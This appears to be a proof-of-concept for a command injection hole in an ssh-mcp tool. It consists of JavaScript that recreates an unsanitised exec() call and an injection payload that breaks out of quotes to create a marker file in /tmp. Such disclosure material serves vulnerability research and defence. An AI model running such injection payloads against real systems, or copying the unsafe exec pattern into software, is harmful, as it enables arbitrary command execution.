CVE-2026-7039 ssh-mcp命令注入漏洞

// PoC Concept for CVE-2026-7039 // Vulnerable component: shell.write function in src/index.ts const { exec } = require('child_process'); // Simulating the vulnerable code path function vulnerableShellWrite(description) { // The vulnerability arises from passing 'description' directly to exec const command = `echo "${description}"`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Output: ${stdout}`); }); } // Attack Scenario // Injecting a command to create a file, demonstrating arbitrary command execution const maliciousPayload = 'Valid Description"; touch /tmp/CVE-2026-7039_POC; #'; console.log("[+] Sending payload to trigger command injection..."); vulnerableShellWrite(maliciousPayload); console.log("[+] Check /tmp/ for the created file.");